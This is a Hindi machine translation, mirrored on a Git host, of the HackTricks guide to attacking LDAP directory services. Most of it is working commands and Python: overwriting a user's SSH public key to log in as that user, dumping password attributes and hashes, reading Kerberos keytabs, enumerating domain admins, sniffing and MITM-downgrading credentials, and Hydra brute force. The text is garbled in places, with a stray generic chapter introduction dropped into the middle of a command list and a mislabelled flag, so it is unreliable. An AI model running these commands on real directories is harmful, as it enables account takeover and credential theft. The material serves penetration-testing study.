Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 22:52:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-ldap.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

30 KiB
Raw Blame History

389, 636, 3268, 3269 - पेंटेस्टिंग LDAP

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

मूलभूत जानकारी

https://searchmobilecomputing.techtarget.com/definition/LDAP से निकाला गया है

LDAP (Lightweight Directory Access Protocol) एक सॉफ़्टवेयर प्रोटोकॉल है जो किसी भी व्यक्ति को संगठन, व्यक्ति और अन्य संसाधनों (जैसे फ़ाइलें और उपकरण) की खोज करने के लिए सक्षम करता है, चाहे वह सार्वजनिक इंटरनेट पर हो या कॉर्पोरेट इंट्रानेट पर। LDAP एक "हल्का" (कोड की कम मात्रा) संस्करण है जो Directory Access Protocol (DAP) का है।

एक LDAP निर्देशिका कई सर्वरों में वितरित हो सकती है। प्रत्येक सर्वर के पास एक समय-समय पर सिंक्रनाइज़ किए जाने वाले कुल निर्देशिका का एक प्रतिलिपि हो सकती है। LDAP सर्वर को एक निर्देशिका सिस्टम एजेंट (DSA) कहा जाता है। एक LDAP सर्वर जो एक उपयोगकर्ता से एक अनुरोध प्राप्त करता है, उसे उपयोगकर्ता के लिए एकल समन्वयित प्रतिक्रिया सुनिश्चित करते हुए उसे अन्य DSA को आवश्यकतानुसार पास करता है, लेकिन एकल समन्वयित प्रतिक्रिया सुनिश्चित करता है।

एक LDAP निर्देशिका एक सरल "वृक्ष" व्यवस्था में संगठित होती है जिसमें निम्नलिखित स्तर होते हैं:

  • रूट निर्देशिका (वृक्ष की शुरुआती जगह या स्रोत), जो ब्रांच बनाती है
  • देश, जो प्रत्येक देश को ब्रांच बनाता है
  • संगठन, जो ब्रांच बनाता है
  • संगठनिक इकाइयां (विभाग, विभाजन आदि), जो ब्रांच बनाती है (एक प्रविष्टि को शामिल करती है)
  • व्यक्ति (जिसमें लोग, फ़ाइलें और प्रिंटर जैसे साझा संसाधन शामिल होते हैं)

डिफ़ॉल्ट पोर्ट: 389 और 636 (ldaps). ग्लोबल कैटलॉग (ActiveDirectory में LDAP) को डिफ़ॉल्ट रूप से पोर्ट 3268 और LDAPS के लिए 3269 पर उपलब्ध है।

PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped

LDAP डेटा इंटरचेंज फॉर्मेट

LDIF (LDAP डेटा इंटरचेंज फॉर्मेट) निर्देशिका सामग्री को रेकॉर्ड सेट के रूप में परिभाषित करता है। यह अपडेट अनुरोधों (जोड़ें, संशोधित करें, हटाएं, नाम बदलें) को भी प्रतिष्ठान कर सकता है।

dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
  • पंक्ति 1-3 में शीर्ष स्तर डोमेन local को परिभाषित करती हैं।
  • पंक्ति 5-8 में पहले स्तर डोमेन moneycorp (moneycorp.local) को परिभाषित करती हैं।
  • पंक्ति 10-16 में 2 संगठनात्मक इकाइयों को परिभाषित करती हैं: dev और sales।
  • पंक्ति 18-26 में डोमेन का एक ऑब्जेक्ट बनाती हैं और मानों के साथ विशेषताओं को सौंपती हैं

डेटा लिखें

ध्यान दें कि यदि आप मान्यता संशोधित कर सकते हैं, तो आप वास्तव में दिलचस्प कार्रवाई कर सकते हैं। उदाहरण के लिए, कल्पना करें कि आप अपने उपयोगकर्ता या किसी उपयोगकर्ता की "sshPublicKey" जानकारी बदल सकते हैं। यदि यह विशेषता मौजूद है, तो संभावतः ssh लोकल एक्सेस प्रणाली (LDAP) से सार्वजनिक कुंजी पढ़ रहा है। यदि आप किसी उपयोगकर्ता की सार्वजनिक कुंजी को संशोधित कर सकते हैं, तो आप उस उपयोगकर्ता के रूप में लॉगिन कर सकेंगे, यदि ssh में पासवर्ड प्रमाणीकरण सक्षम नहीं है।

>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

उदाहरण लिया गया: https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/

साफ पाठ क्रेडेंशियल्स स्निफ करें

यदि LDAP SSL के बिना उपयोग किया जाता है, तो आप नेटवर्क में साफ पाठ में क्रेडेंशियल्स स्निफ कर सकते हैं।

इसके अलावा, आप नेटवर्क में LDAP सर्वर और क्लाइंट के बीच MITM हमला कर सकते हैं। यहां आप एक डाउनग्रेड हमला कर सकते हैं ताकि क्लाइंट साफ पाठ में क्रेडेंशियल्स का उपयोग करके लॉगिन कर सके।

यदि SSL का उपयोग किया जाता है, तो आप उपरोक्त उल्लिखित की तरह MITM करने का प्रयास कर सकते हैं, लेकिन एक झूठा प्रमाणपत्र प्रदान करके, यदि उपयोगकर्ता इसे स्वीकार करता है, तो आप प्रमाणीकरण विधि को डाउनग्रेड कर सकते हैं और पुनः क्रेडेंशियल्स देख सकते हैं।

अनाम संपर्क

TLS SNI चेक को बाइपास करें

इस व्रिटअप के अनुसार, केवल एक अनियमित डोमेन नाम (जैसे company.com) के साथ LDAP सर्वर तक पहुंचकर उसने एक अनाम उपयोगकर्ता के रूप में जानकारी निकाली है:

ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

LDAP अनामक बाइंड

LDAP अनामक बाइंड अप्रमाणित हमलावरों को डोमेन से जानकारी प्राप्त करने की अनुमति देते हैं, जैसे कि उपयोगकर्ताओं, समूहों, कंप्यूटरों, उपयोगकर्ता खाता गुणों और डोमेन पासवर्ड नीति की पूरी सूची। यह एक पुरानी विन्यास है, और Windows Server 2003 के बाद, केवल प्रमाणित उपयोगकर्ताओं को LDAP अनुरोधों की प्रारंभिक करने की अनुमति होती है।
हालांकि, प्रशासकों को एक विशेष एप्लिकेशन को सेट अप करने की आवश्यकता हो सकती है और अधिक से अधिक पहुंच देने के लिए इच्छित से अधिक पहुंच दी हो, जिससे अप्रमाणित उपयोगकर्ताओं को सभी ऑब्जेक्ट्स एडी में पहुंच मिल जाती है।

मान्य प्रमाण

यदि आपके पास LDAP सर्वर में लॉगिन करने के मान्य प्रमाण हैं, तो आप डोमेन व्यवस्थापक के बारे में सभी जानकारी को डंप कर सकते हैं इस्तेमाल करके:

ldapdomaindump

pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

ब्रूट फोर्स

जांच

स्वचालित

इसका उपयोग करके आप सार्वजनिक जानकारी (जैसे डोमेन नाम) देख सकेंगे:

nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Python

LDAP जांच करें पायथन के साथ

आप पायथन का उपयोग करके LDAP की जांच कर सकते हैं या बिना क्रेडेंशियल के: pip3 install ldap3

पहले क्रेडेंशियल के बिना कनेक्ट करने का प्रयास करें:

>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info

यदि पिछले उदाहरण में प्रतिक्रिया True है, तो आप LDAP के कुछ दिलचस्प डेटा (जैसे नेमिंग संदर्भ या डोमेन नाम) सर्वर से प्राप्त कर सकते हैं:

>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN

एक बार जब आप नेमिंग संदर्भ प्राप्त कर लें, तो आप कुछ और रोमांचकारी क्वेरी बना सकते हैं। यह सरल क्वेरी आपको निर्देशिका में सभी ऑब्जेक्ट्स दिखा देगी:

>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

या फिर पूरा ldap डंप करें:

>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

windapsearch

Windapsearch **** एक Python स्क्रिप्ट है जो LDAP क्वेरी का उपयोग करके Windows डोमेन से उपयोगकर्ताओं, समूहों और कंप्यूटरों की जांच करने के लिए उपयोगी है।

# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

जांचें कि क्या आपके क्रेडेंशियल शून्य हैं या यदि आपके क्रेडेंशियल मान्य हैं:

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"

# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839

यदि आपको कुछ मिलता है जो "बाइंड पूरा होना चाहिए" कहता है, तो इसका अर्थ है कि क्रेडेंशियल्स गलत हैं।

आप एक डोमेन से सब कुछ निकाल सकते हैं इस्तेमाल करके:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

उपयोगकर्ताओं को निकालें:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

इस अध्याय में हम LDAP (Lightweight Directory Access Protocol) सेवा के पेंटेस्टिंग के बारे में चर्चा करेंगे। LDAP एक नेटवर्क प्रोटोकॉल है जो डायरेक्टरी सेवा को प्रबंधित करने के लिए उपयोग होता है। यह विभिन्न नेटवर्क सेवाओं को प्रबंधित करने के लिए उपयोग किया जाता है, जैसे कि उपयोगकर्ता खाते, संगठनात्मक यूनिट, समूह, कंप्यूटर आदि।

LDAP पेंटेस्टिंग के दौरान, हम विभिन्न तकनीकों का उपयोग करके सिस्टम में अनधिकृत उपयोगकर्ता खातों, अनुमतियों की खोज, डायरेक्टरी संरचना की जांच, और अन्य अवसरों की जांच करते हैं। इसके अलावा, हम डायरेक्टरी सेवा के लिए उपयोग होने वाले क्लाइंट ऐप्लिकेशन और टूल्स की जांच भी करते हैं।

इस अध्याय में हम निम्नलिखित विषयों पर चर्चा करेंगे:

  • LDAP का अवलोकन
  • LDAP प्रोटोकॉल के बेसिक अवधारणाएँ
  • LDAP पेंटेस्टिंग के लिए उपयोगी टूल्स
  • LDAP पेंटेस्टिंग के लिए उपयोगी तकनीकें
  • LDAP पेंटेस्टिंग के लिए उपयोगी अनुमतियाँ
  • LDAP पेंटेस्टिंग के लिए उपयोगी अवसर

यह अध्याय LDAP पेंटेस्टिंग के लिए एक मार्गदर्शिका के रूप में उपयोगी होगा। यह आपको LDAP सेवा के सुरक्षा और संरक्षण के बारे में ज्ञान प्रदान करेगा और आपको उपयोगी टिप्स और तकनीकों के साथ LDAP पेंटेस्टिंग करने में मदद करेगा।

आइए शुरू करें!

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

अपनी जानकारी निकालें:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

डोमेन व्यवस्थापकों को निकालें:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

डोमेन उपयोगकर्ताओं को निकालें:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

उद्यम प्रशासकों को निकालें:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

अभिप्रेतकों को निकालें:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

अतिदूर डेस्कटॉप समूह को निकालें:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

यदि आपके पास किसी पासवर्ड तक पहुंच है या नहीं, तो आप एक क्वेरी को निष्पादित करने के बाद grep का उपयोग कर सकते हैं:

<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

कृपया ध्यान दें कि यहां आपको मिलने वाले पासवर्ड वास्तविक नहीं हो सकते हैं...

pbis

आप यहां से pbis डाउनलोड कर सकते हैं: https://github.com/BeyondTrust/pbis-open/ और यह आमतौर पर /opt/pbis में स्थापित होता है।
Pbis आपको मूलभूत जानकारी आसानी से प्राप्त करने की अनुमति देता है:

#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done

ग्राफिकल इंटरफ़ेस

Apache Directory

यहां से Apache Directory डाउनलोड करें। आप इस टूल का उपयोग करने का एक उदाहरण यहां देख सकते हैं।

jxplorer

आप एलडीएपी सर्वर के साथ एक ग्राफिकल इंटरफ़ेस यहां से डाउनलोड कर सकते हैं: http://www.jxplorer.org/downloads/users.html

डिफ़ॉल्ट रूप से यह /opt/jxplorer में स्थापित होता है।

केरबेरोस के माध्यम से प्रमाणीकरण

ldapsearch का उपयोग करके आप NTLM के बजाय केरबेरोस के माध्यम से प्रमाणीकरण कर सकते हैं, पैरामीटर -Y GSSAPI का उपयोग करके।

POST

यदि आप डेटाबेस को संग्रहित करने वाली फ़ाइलों तक पहुंच सकते हैं (यह /var/lib/ldap में हो सकता है)। आप निम्नलिखित का उपयोग करके हैश निकाल सकते हैं:

cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

आप जॉन को पासवर्ड हैश के साथ खिला सकते हैं ('{SSHA}' से 'structural' तक, 'structural' को जोड़े बिना)।

कॉन्फ़िगरेशन फ़ाइलें

  • सामान्य
  • containers.ldif
  • ldap.cfg
  • ldap.conf
  • ldap.xml
  • ldap-config.xml
  • ldap-realm.xml
  • slapd.conf
  • IBM SecureWay V3 सर्वर
  • V3.sas.oc
  • Microsoft Active Directory सर्वर
  • msadClassesAttrs.ldif
  • Netscape Directory Server 4
  • nsslapd.sas_at.conf
  • nsslapd.sas_oc.conf
  • OpenLDAP डायरेक्टरी सर्वर
  • slapd.sas_at.conf
  • slapd.sas_oc.conf
  • Sun ONE Directory Server 5.1
  • 75sas.ldif

HackTricks स्वचालित आदेश

Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).

https://book.hacktricks.xyz/pentesting/pentesting-ldap

Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x

Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥